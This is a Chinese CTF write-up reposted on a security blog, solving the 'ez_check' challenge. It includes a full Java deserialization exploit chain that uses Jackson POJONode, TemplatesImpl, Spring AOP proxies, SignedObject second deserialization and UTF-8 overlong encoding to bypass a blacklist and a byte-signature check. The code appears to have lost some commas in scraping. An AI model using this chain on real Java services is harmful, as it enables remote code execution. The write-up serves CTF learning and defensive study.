一道反序列化bypass题ez_check

admin 2025年6月9日21:31:14评论15 views字数 6638阅读22分7秒阅读模式

1.题干

题目来自

https://www.polarctf.com/#/page/challenges

先看依赖,只有jackson,那么基本只能走toString-getter-TemplatesImpl。

一道反序列化bypass题ez_check

再看反序列化点。

一道反序列化bypass题ez_check

有两处校验,第一处是字节码校验,显然要用UTF8编码绕过。

一道反序列化bypass题ez_check

第二处是JEP290

一道反序列化bypass题ez_check

核心过滤类为

javax.management.BadAttributeValueExpExceptionorg.springframework.aop.target.HotSwappableTargetSourcecom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

前两者是防止我们用toString的,后者是防止我们加载字节码的。

2.Bypass

绕过第一处校验需要用UTF8Overlong,能消除绝大部分类名特征,比较现代的反序列化工具都已经集成了,代码一般使用的UTF8BytesMix或者UTF8OverlongObjectOutputStream。

https://github.com/Whoopsunix/utf-8-overlong-encoding/blob/main/src/main/java/com/ppp/UTF8BytesMix.java

https://github.com/Whoopsunix/utf-8-overlong-encoding/blob/main/src/main/java/com/ppp/UTF8OverlongObjectOutputStream.java

它们的用法分别是这样的。

        UTF8OverlongObjectOutputStream oos = new UTF8OverlongObjectOutputStream(new FileOutputStream("1.ser"));        oos.writeObject(bd);//        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("1.ser"));//        ois.readObject();        byte[] serbs = Utils.serialize(bd);        serbs = new UTF8BytesMix(serbs).builder();        new FileOutputStream("2.ser").write(serbs);//        Utils.deserialize(serbs);

效果如下。

一道反序列化bypass题ez_check

绕过第二处校验,必须二次反序列化,如果出网的情况下,还有一些选择。但目标不出网,因此只剩下了SignedObject.getObject()一种办法。然后还要找个不在黑名单内的toString(),这个就比较简单,TextAndMnemonicHashMap/EventListenerList/ArrayTable等等都可以,这里选择了最简单的XString+HashMap,详情见最近跟jdbc有关的新知识——toString篇

也就是说大致的反序列化链是这样的。

readObject()->XString.equals()->POJONode.toString()->SignedObject.getObject()->//绕过了第二次校验因此可以用黑名单里的类了。BadAttributeValueExpException.readObject()->   POJONode.toString()->TemplatesImpl.getOutputProperties()

代码如下

    FileInputStream inputFromFile = new FileInputStream("D:\Downloads\workspace\javareadobject\bin\payload\TemplatesImplCalc.class");    byte[] bs = new byte[inputFromFile.available()];    inputFromFile.read(bs);        TemplatesImpl templates = TemplatesImpl.class.newInstance();        Reflections.setFieldValue(templates, "_bytecodes"new byte[][]{bs});        Reflections.setFieldValue(templates, "_name""xx");        Reflections.setFieldValue(templates, "_tfactory"new TransformerFactoryImpl());        AdvisedSupport advisedSupport = new AdvisedSupport();        advisedSupport.setTarget(templates);        Constructor constructoraop = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);        constructoraop.setAccessible(true);        InvocationHandler handler = (InvocationHandler) constructoraop.newInstance(advisedSupport);        Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);        POJONode node = new POJONode(proxy);        BadAttributeValueExpException bd = new BadAttributeValueExpException(null);        Reflections.setFieldValue(bd,"val",node);        KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");        kpg.initialize(1024);        KeyPair kp = kpg.generateKeyPair();        SignedObject signedObject = new SignedObject(bd, kp.getPrivate(), java.security.Signature.getInstance("DSA"));        POJONode node2 = new POJONode(signedObject);        XObject xString = new XString("foo");        HashMap<Object, Object> map1 = new HashMap();        HashMap<Object, Object> map2 = new HashMap();        map1.put("yy", node2);        map1.put("zZ", xString);        map2.put("yy", xString);        map2.put("zZ", node2);        HashMap hashmap = Utils.makeMap(map1, map2);          UTF8OverlongObjectOutputStream utf8oos2 = new UTF8OverlongObjectOutputStream(new FileOutputStream("2.ser"));        utf8oos2.writeObject(hashmap);        byte[] serbs2 = Files.readAllBytes(Paths.get("2.ser"));        String base64String = new String(Base64.getEncoder().encode(serbs2));        base64String = base64String.replace("+""%2b");        System.out.print(base64String);        Utils.deserialize(serbs2);

3.出现问题

本地起环境测试,然而却被第一处字节码校验拦住。

一道反序列化bypass题ez_check

不是已经用了UTF8OverlongObjectOutputStream吗?看看2.ser。

一道反序列化bypass题ez_check

那么换成UTF8BytesMix,可以发现成功绕过第一处字节码校验,但实际反序列化的时候数据出错。

一道反序列化bypass题ez_check
一道反序列化bypass题ez_check

难道是抄的代码有问题?我们换更强的web-chains。

https://github.com/vulhub/java-chains

一道反序列化bypass题ez_check
一道反序列化bypass题ez_check

哪里出现问题了呢?

4.解决问题

需要理解UTF8OverlongObjectOutputStream和UTF8BytesMix的不同。

UTF8OverlongObjectOutputStream是在序列化过程中修改的字节码,而UTF8BytesMix是在序列化完成之后修改的字节码。

这也为什么UTF8OverlongObjectOutputStream没有将所有特征都修改完成导致没绕过第一处的字节码校验的原因,因为并不是所有的序列化过程它都参与了。显然SignedObject作为二次反序列化的核心类,它在实例化的时候的序列化过程UTF8OverlongObjectOutputStream就没有参与,导致还残存关键字。

一道反序列化bypass题ez_check

所以只要将SignedObject序列化时也用UTF8OverlongObjectOutputStream即可,这里可以直接反射修改content字段即可,最终poc。

    FileInputStream inputFromFile = new FileInputStream("D:\Downloads\workspace\javareadobject\bin\payload\TemplatesImplTomcat678910cmdecho.class");    byte[] bs = new byte[inputFromFile.available()];    inputFromFile.read(bs);        TemplatesImpl templates = TemplatesImpl.class.newInstance();        Reflections.setFieldValue(templates, "_bytecodes"new byte[][]{bs});        Reflections.setFieldValue(templates, "_name""xx");        Reflections.setFieldValue(templates, "_tfactory"new TransformerFactoryImpl());        AdvisedSupport advisedSupport = new AdvisedSupport();        advisedSupport.setTarget(templates);        Constructor constructoraop = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);        constructoraop.setAccessible(true);        InvocationHandler handler = (InvocationHandler) constructoraop.newInstance(advisedSupport);        Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);        POJONode node = new POJONode(proxy);        BadAttributeValueExpException bd = new BadAttributeValueExpException(null);        Reflections.setFieldValue(bd,"val",node);UTF8OverlongObjectOutputStream utf8oos1 = new UTF8OverlongObjectOutputStream(new FileOutputStream("1.ser"));utf8oos1.writeObject(bd);        byte[] serbs1 = Files.readAllBytes(Paths.get("1.ser"));        KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");        kpg.initialize(1024);        KeyPair kp = kpg.generateKeyPair();        SignedObject signedObject = new SignedObject(bd, kp.getPrivate(), java.security.Signature.getInstance("DSA"));        Reflections.setFieldValue(signedObject, "content", serbs1);        POJONode node2 = new POJONode(signedObject);        XObject xString = new XString("foo");        HashMap<Object, Object> map1 = new HashMap();        HashMap<Object, Object> map2 = new HashMap();        map1.put("yy", node2);        map1.put("zZ", xString);        map2.put("yy", xString);        map2.put("zZ", node2);        HashMap hashmap = Utils.makeMap(map1, map2);  UTF8OverlongObjectOutputStream utf8oos2 = new UTF8OverlongObjectOutputStream(new FileOutputStream("2.ser"));utf8oos2.writeObject(hashmap);        byte[] serbs2 = Files.readAllBytes(Paths.get("2.ser"));        String base64String = new String(Base64.getEncoder().encode(serbs2));        base64String = base64String.replace("+""%2b");        System.out.print(base64String);        //Utils.deserialize(serbs2);
一道反序列化bypass题ez_check

原文始发于微信公众号(珂技知识分享):一道反序列化bypass题ez_check

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年6月9日21:31:14
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   一道反序列化bypass题ez_checkhttp://cn-sec.com/archives/4151159.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息